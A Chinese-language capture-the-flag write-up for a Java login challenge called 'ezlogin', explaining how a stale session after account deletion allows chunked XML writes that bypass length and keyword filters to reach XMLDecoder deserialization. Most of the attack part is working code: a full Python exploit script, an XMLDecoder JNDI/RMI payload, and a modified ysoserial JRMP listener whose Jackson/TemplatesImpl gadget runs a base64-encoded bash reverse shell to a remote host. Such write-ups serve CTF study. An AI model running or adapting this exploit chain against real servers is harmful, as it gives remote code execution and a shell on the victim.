官方wp链接:https://www.yuque.com/chuangfeimeiyigeren/eeii37/xn0zhgp85tgoafrz?singleDoc#FAsbS

ezlogin

就是一个正常的登录、注册、修改密码的服务,看了一下jar包

image-20241023135607557

见到熟悉的hutool,前面的ciscn题目复现才遇到,然后spring-boot那就是有jackson

当时审了半天的逻辑,发现能给传参的参数长度都限制死了,他有一个默认的xml文件

<!-- this is /user/AAAAAA.xml -->
<java>
<object class="org.example.auth.User">
<void property="username">
<string>AAAAAA</string>
</void>
<void property="password">
<string>AAAAAAAAAA</string>
</void>
</object>
</java>

他的用户名和密码的最大长度都是以该文件里面的长度为准

image-20241023140248515

这里有个check函数限制长度,一开始没找到什么绕过的地方,遂摆😊

这里开始跟着wp复现

看EditController内容

image-20241026104501910

这里从JSESSION中获取登录的用户,然后对用户名和新密码进行检查,再进行修改密码的操作

看一下他的changePassword方法

image-20241026105025765

这里就是简单的将xml的内容读出来,然后进行新旧密码的替换,最后重新写入,注意这里没有对JSESSION的状态改变

在del用户的地方

image-20241026105354581

也是从JSESSION中获取用户然后调用delUser方法

image-20241026105441155

这里直接就把userFile给删除了,但是他并没有重置JSESSION,意思就是我们的JSESSION可以保留下来,他还是能够识别的

反序列化的点在于login路由

image-20241026110213423

看他的login方法

image-20241026110247575

里面的一个readUser方法有对xml文件进行反序列化,然后有个waf过滤了java.、springframework.、hutool.,而且还限制了文件的最大长度,就是他初始给我们的那个AAAAAA.xml的长度

image-20241026123012865

看完前面之后漏洞点就在于changePassword的时候,因为JSESSION的状态并没有改变,所以其实我们replace的时候可以保证oldPassword是一直不变的,我们就可以多次请求修改密码,一直替换oldPassword来实现任意内容的写入,比如可以xxx=》abcxxx,abcxxx=》abcabcxxx;

我们替换的时候新密码需要加上旧密码,这样可以保证我们可以可控地连续写入payload

而且我们注意写入payload之后还要缩短长度满足其小于maxLength的要求

现在绕过长度限制写任意内容的方法有了,应该怎么写,写什么呢

因为java.被禁掉了,直接写恶意代码的方法行不通,wp直接打jndi来触发Jackson的链子,springboot是自带Jackson依赖

我们要写入的payload形式是这样的

<java>
<object class="javax.naming.InitialContext">
<void method="lookup">
<string>rmi://ip:port/a</string>
</void>
</object>
</java>

userFile的文件长这样

<java>
<object class="org.example.auth.User">
<void property="username">
<string>AAAAAA</string>
</void>
<void property="password">
<string>AAAAAAAAAA</string>
</void>
</object>
</java>

然后题目给了我们<!–这样一个提示,意思让我们利用html的注释,也就是写入自己的payload将其他部分注释掉,使自己的写入的xml生效

那完整的写法思路就是利用JSESSION保留的性质,我们去重复注册删除同一个用户,然后每次注册进去都是我们想要的oldPassword对应我们要替换的xml关键字,当JSESSION搜集够了之后就可以去改该用户的xml了

1.将java替换成!--来注释掉中间的内容
2.注册获取各个标签的JSESSION
3.注册一个password为特定标识符用于替换的,比如wp就用_____来作为标识
4.对各部分进行替换

wp的payload形式如下:

# 定义RMIServer地址
rmiserver = "test"

# 构造恶意Java序列化payload,用于触发漏洞
payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://" + rmiserver + "/a</string></void></object></java><!--"

# 初始化列表,用于存储分块后的payload
list1 = []

# 遍历payload,每5个字符进行分块,并对最后一块进行特殊处理
for i in range(0, len(payload1), 5):
# 如果剩余字符大于等于5个,则正常分块并填充下划线
if len(payload1) - i >= 5:
list1.append(payload1[i:i + 5:] + "_____")
else:
# 如果剩余字符不足5个,则直接添加到列表中,并结束循环
list1.append(payload1[i:len(payload1)])
break

# 打印初步处理后的列表
print(list1)

# 如果列表中最后一个元素长度小于3,则进行特殊处理以构造特定的输出格式
if len(list1[-1]) < 3:
# 将倒数第二个元素的后三个字符与最后一个元素合并,以保持信息的连续性
list1[-1] = list1[-2][-8:-5:] + list1[-1]
# 修正倒数第二个元素,保留其大部分内容并去除最后一个字符,为其后续与新的最后一个元素合并做准备
list1[-2] = list1[-2][0:2] + list1[-2][-5:-1:]

# 打印最终处理后的列表
print(list1)

exp就直接用wp的

import requests
import sys
import time

targeturl = sys.argv[1] #靶机地址

rmiserver = sys.argv[2] #rmi服务器地址

sessions = {}

def register(passwd):
data={"password":passwd,"username":"G"}
res = requests.post(targeturl+"/register",data=data)
if "success" in res.text.lower():
print(f"register {passwd} success")
else : print(f"register fail: {res.text}");exit(114514)

def getsession(passwd):
data={"password":passwd,"username":"G"}
res = requests.post(targeturl+"/login",data=data)
if "redirect" in res.text.lower() :
session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
print(f"session for {passwd} : {session}")
headers = {"Cookie" : f"JSESSIONID={session}"}
sessions[passwd] = headers
else:
print(f"login fail : {res.text}");exit(114514)

def editpass(oldpass,newpass):
data={"newPass":newpass}
headers = sessions[oldpass]
res = requests.post(targeturl+"/editPass",data=data,headers=headers)
if "success" in res.text.lower():
print(f"change {oldpass} to {newpass} success")
else:
print(f"edit fail : {res.text}");exit(114514)

def deluser(passwd):
res = requests.get(targeturl+"/del",headers=sessions[passwd])
if "success" in res.text.lower():
print(f"delete {passwd} success")

def addsession(passwd):
register(passwd)
getsession(passwd)
deluser(passwd)

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)


list2=[]
payload2="11111 class=\"org.example.auth.User\""
for i in range(0,len(payload2),10) :
if len(payload2) - i >= 10:
list2.append(payload2[i:i+10:])
else:
list2.append(payload2[i:len(payload2)])
break
print(list2)
for s in list2:
addsession(s)

list3=[]
payload3="void property=\"username\""
for i in range(0,len(payload3),10) :
if len(payload3) - i >= 10:
list3.append(payload3[i:i+10:])
else:
list3.append(payload3[i:len(payload3)])
break
print(list3)


list4=[]
payload4="void property=\"password\""
for i in range(0,len(payload4),10) :
if len(payload4) - i >= 10:
list4.append(payload4[i:i+10:])
else:
list4.append(payload4[i:len(payload4)])
break
print(list4)



addsession("_____")

addsession("____")

for s in list3:
addsession(s)

for s in list4:
addsession(s)

addsession("string")

addsession("object")

addsession("/void")

addsession(" ")

addsession("1111111111")

addsession("/11111")

addsession("java")

addsession("11111")

register("haha")
getsession("haha")
editpass("java","!--")

editpass("string","11111")
editpass("object","11111")

editpass("/11111","11111")
editpass(" ","11111")

editpass("/void","111")

for s in list2:
editpass(s,"11111")

for s in list3:
editpass(s,"11111")

for s in list4:
editpass(s,"11111")

editpass("1111111111","11111")
editpass("1111111111","11111")

editpass("haha",list1[0])

editpass("11111","111")

# Now it's the shortest (237)

for payload in list1[1::]:
editpass("_____",payload)

editpass("____","<!--")

requests.post(targeturl+"/login",data={"username":"G","password":"1"})

将JRMPListener修改一下,我的修改方式如下:

package ysoserial.exploit;


import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.xml.transform.Templates;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;


/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {

private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;


public JRMPListener(int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}

public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}


public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}


/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}

//exp部分
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}

public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();

}

public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
// 修改为自己的ip port
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};

return evilbyte;

}
public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}

public static final void main ( final String[] args ) throws Exception{

// if ( args.length < 3 ) {
// System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
// System.exit(-1);
// return;
// }

// final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
// 删除writeReplace
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wt = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(wt);
ctClass0.toClass();

//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());

//稳定触发
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);

BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(ex,arrayNode);

Object payloadObject=ex;

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
// Utils.releasePayload(args[1], payloadObject);
}


public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);

InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();

short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}

OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);

byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}

bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}

}

}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}

}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}


private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");

int op = in.read();

switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;

case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;

case TransportConstants.DGCAck:
UID u = UID.read(in);
break;

default:
throw new IOException("unknown transport op " + op);
}

s.close();
}


private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {

@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};

ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}


if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}

System.err.println("Sending return with payload for obj " + read);

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);

// BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
// Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(payload);//直接写成型的payload过去即可

oos.flush();
out.flush();

this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}

@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}


public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;

}
}

然后使用该命令重新打包一下

mvn clean package -DskipTests  # 这里不跳过测试会报错,因为不知道版本原因还是怎么的很多依赖和插件爆红

然后用下面的命令开启JRMP服务器

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80

image-20241026144410160

然后此时打exp反弹shell

exp执行命令如下:

python .\exp.py "http://7ae47afd-3eda-472c-9c1b-7ce01d6a534f.node5.buuoj.cn" "<vps地址>"

image-20241026153215483

image-20241026153245566

image-20241026153257626

弹shell过来拿到flag

艹了打exp的时候一直写错服务器地址蠢了,多加了一个http://,直接写ip就行了

还有一点是rmi://<服务器地址>/a 这里要加一个访问路径,不然也会收不到payload,这我在本地测试过,我也不清楚为啥,可以跟JRMP的模块实现有关,这部分后面学习JRMP模块的时候再探究一下

这题复现真的曲折,wp写的过于简略让我这个菜鸡看不太懂😭